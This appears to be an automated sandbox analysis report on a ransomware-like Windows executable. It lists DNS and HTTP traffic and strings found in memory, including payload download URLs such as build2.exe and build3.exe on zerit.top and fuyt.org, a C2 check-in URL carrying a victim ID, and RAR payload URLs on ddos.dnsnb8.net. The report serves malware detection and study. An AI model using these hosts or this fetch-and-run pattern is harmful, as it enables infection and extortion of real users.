Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: fuyt.org

Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3167225974.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3167806479.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.twitter.com/ equals www.twitter.com (Twitter)
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3168127568.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.youtube.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: ddos.dnsnb8.net
Source: global traffic	DNS traffic detected: DNS query: api.2ip.ua
Source: global traffic	DNS traffic detected: DNS query: zerit.top
Source: global traffic	DNS traffic detected: DNS query: fuyt.org

Source: VOsoyD.exe, 00000001.00000002.2233464632.0000000000B53000.00000002.00000001.01000000.00000004.sdmp, VOsoyD.exe, 00000001.00000003.2012329249.00000000029E0000.00000004.00001000.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000002.2396141767.00000000008D3000.00000002.00000001.01000000.00000004.sdmp, VOsoyD.exe, 00000012.00000003.2236466154.0000000001370000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000003.2108821170.000000000080E000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000003.2108408998.000000000080E000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000003.2108513939.000000000080E000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3275368853.0000000000804000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mic
Source: VOsoyD.exe, 00000001.00000002.2233686984.0000000000F51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net/
Source: VOsoyD.exe, 00000001.00000002.2233686984.0000000000F36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net/-window-ext-l1-1-0.dll
Source: VOsoyD.exe, 00000001.00000002.2233686984.0000000000EFB000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000002.2396332200.00000000012ED000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000002.2396332200.0000000001260000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000003.2243445641.0000000001289000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000003.2243445641.00000000012ED000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000003.2243445641.00000000012DC000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000002.2396332200.000000000127B000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000002.2396332200.00000000012DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rar
Source: VOsoyD.exe, 00000001.00000003.2031047300.0000000000F51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rar.
Source: VOsoyD.exe, 00000012.00000003.2243445641.00000000012DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rar1
Source: VOsoyD.exe, 00000012.00000002.2396332200.00000000012ED000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000003.2243445641.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarC:
Source: VOsoyD.exe, 00000001.00000002.2233686984.0000000000EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarS
Source: VOsoyD.exe, 00000012.00000003.2243445641.00000000012DC000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000002.2396332200.00000000012DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rarp
Source: VOsoyD.exe, 00000012.00000003.2243445641.0000000001289000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rars
Source: VOsoyD.exe, 00000012.00000002.2396332200.00000000012DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rar
Source: VOsoyD.exe, 00000001.00000002.2233686984.0000000000F51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rar&.
Source: VOsoyD.exe, 00000001.00000002.2233686984.0000000000F51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rar.
Source: VOsoyD.exe, 00000001.00000002.2233686984.0000000000F51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rar4/
Source: VOsoyD.exe, 00000001.00000002.2233686984.0000000000F89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rarD
Source: VOsoyD.exe, 00000001.00000002.2233686984.0000000000F68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rarffice
Source: VOsoyD.exe, 00000001.00000002.2233686984.0000000000F51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rarq.u
Source: VOsoyD.exe, 00000001.00000002.2233686984.0000000000F51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k2.rarz.h
Source: VOsoyD.exe, 00000012.00000002.2396580081.0000000001303000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000002.2396332200.00000000012DC000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000003.2395152536.0000000001300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k3.rar
Source: VOsoyD.exe, 00000012.00000002.2396580081.0000000001303000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000003.2395152536.0000000001300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k3.rarE
Source: VOsoyD.exe, 00000012.00000002.2396332200.0000000001289000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000002.2396580081.0000000001303000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000003.2395152536.0000000001300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k4.rar
Source: VOsoyD.exe, 00000012.00000002.2396332200.0000000001289000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k4.rarC:
Source: VOsoyD.exe, 00000012.00000002.2396580081.0000000001303000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000003.2395152536.0000000001300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k4.rarZ
Source: VOsoyD.exe, 00000012.00000002.2396580081.0000000001303000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000003.2395152536.0000000001300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k4.raro
Source: VOsoyD.exe, 00000012.00000002.2396580081.0000000001303000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000003.2395152536.0000000001300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k4.rary
Source: VOsoyD.exe, 00000012.00000002.2396332200.0000000001289000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000002.2396580081.0000000001303000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000003.2395152536.0000000001300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k5.rar
Source: VOsoyD.exe, 00000012.00000002.2396332200.0000000001289000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k5.rarXC:
Source: VOsoyD.exe, 00000012.00000002.2396580081.0000000001303000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000003.2395152536.0000000001300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k5.rard
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.00000000006C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/files/1/build3.exe
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3275368853.00000000007BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/files/1/build3.exe$run
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/files/1/build3.exe$runer
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.00000000006C7000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3275368853.00000000007BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/test1/get.php
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/test1/get.php6
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3275368853.00000000007A8000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3275368853.00000000007BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.0000000000628000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.2568923200.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.00000000006D3000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.2568989157.00000000006D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.2568923200.00000000006DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=trueB2
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.2568923200.00000000006DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=trueFM
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3275368853.00000000007A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54z
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3275368853.00000000007BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54~
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.00000000006C7000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3275368853.00000000007BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/test1/get.phpp
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.2568989157.00000000006D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/test1/get.phpve
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000B.00000002.2094534233.0000000002310000.00000040.00001000.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3274539908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000E.00000002.2165749001.0000000002200000.00000040.00001000.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000F.00000002.2176111668.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000011.00000002.2255017517.0000000002360000.00000040.00001000.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000013.00000002.2265528714.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3166933996.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.amazon.com/
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3167453703.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3167522567.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.live.com/
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3167610214.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.nytimes.com/
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000013.00000002.2265528714.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3167698850.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.reddit.com/
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3167806479.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.twitter.com/
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3167957272.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.wikipedia.com/
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.3168127568.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.youtube.com/
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.0000000000668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zerit.top/dl/build2.exe
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.00000000006B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zerit.top/dl/build2.exe$run
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000003.00000002.2060945347.00000000006DA000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.2089856546.0000000000678000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.0000000000668000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000F.00000003.2175593327.000000000065A000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000F.00000002.2176555153.000000000065C000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000013.00000002.2265807645.0000000000627000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000003.2108536096.00000000007BC000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3275368853.00000000007BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/55QI
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.2089856546.0000000000678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/A
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000F.00000003.2175593327.000000000065A000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000F.00000002.2176555153.000000000065C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/B
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000003.2108536096.00000000007BC000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3275368853.00000000007BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/Y5
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000003.00000002.2060945347.00000000006DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/a9
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000013.00000002.2265807645.00000000005E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000003.2108447651.00000000007DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json)
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.0000000000628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonG
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000003.2089856546.0000000000678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonN
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000003.00000002.2060945347.0000000000698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonT
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000F.00000002.2176375734.0000000000611000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonV
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000013.00000002.2265807645.00000000005E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonWC
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000F.00000002.2176375734.00000000005F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsondll
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000013.00000002.2265807645.0000000000627000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsong
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.0000000000628000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000F.00000002.2176375734.00000000005F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonw
Source: prep_foundation_win32_bundle_V8_perf.cache.9.dr	String found in binary or memory: https://artifacts.dev.azure.com/office/_apis/symbol/symsrv/foundation.win32.js.map/ff6ccdf8f8e6c224f
Source: wctFE34.tmp.9.dr	String found in binary or memory: https://dc.services.visualstudio.com/v2/track
Source: wctFE34.tmp.9.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/win81https://g.live.com/1rewlive5skydrive/win8https://g.live.co
Source: wctFE34.tmp.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Enterprisehttps://g.live.com/odclientsettings/MsitFasthttps://g.
Source: prep_foundation_win32_bundle_V8_perf.cache.9.dr	String found in binary or memory: https://github.com/react-native-async-storage/async-storage/issues
Source: VOsoyD.exe, 00000001.00000003.2031047300.0000000000F51000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000001.00000002.2233686984.0000000000F51000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000003.2243445641.00000000012DC000.00000004.00000020.00020000.00000000.sdmp, VOsoyD.exe, 00000012.00000002.2396332200.00000000012DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: prep_foundation_win32_bundle_V8_perf.cache.9.dr	String found in binary or memory: https://react-native-async-storage.github.io/async-storage/docs/advanced/jest
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.00000000006D3000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3275368853.0000000000804000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-0S984cQ4
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.0000000000628000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.0000000000668000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 00000009.00000002.3275143427.00000000006D3000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3275368853.0000000000822000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3275368853.00000000007BC000.00000004.00000020.00020000.00000000.sdmp, F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe, 0000000C.00000002.3275368853.0000000000804000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-0S984cQ4B3

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49731 version: TLS 1.2

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Code function: 3_2_004822E0 CreateDCA,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,CreateCompatibleBitmap,SelectObject,GetObjectA,BitBlt,GetBitmapBits,SelectObject,DeleteObject,DeleteDC,DeleteDC,DeleteDC,

3_2_004822E0

Spam, unwanted Advertisements and Ransom Demands

Found ransom note / readme

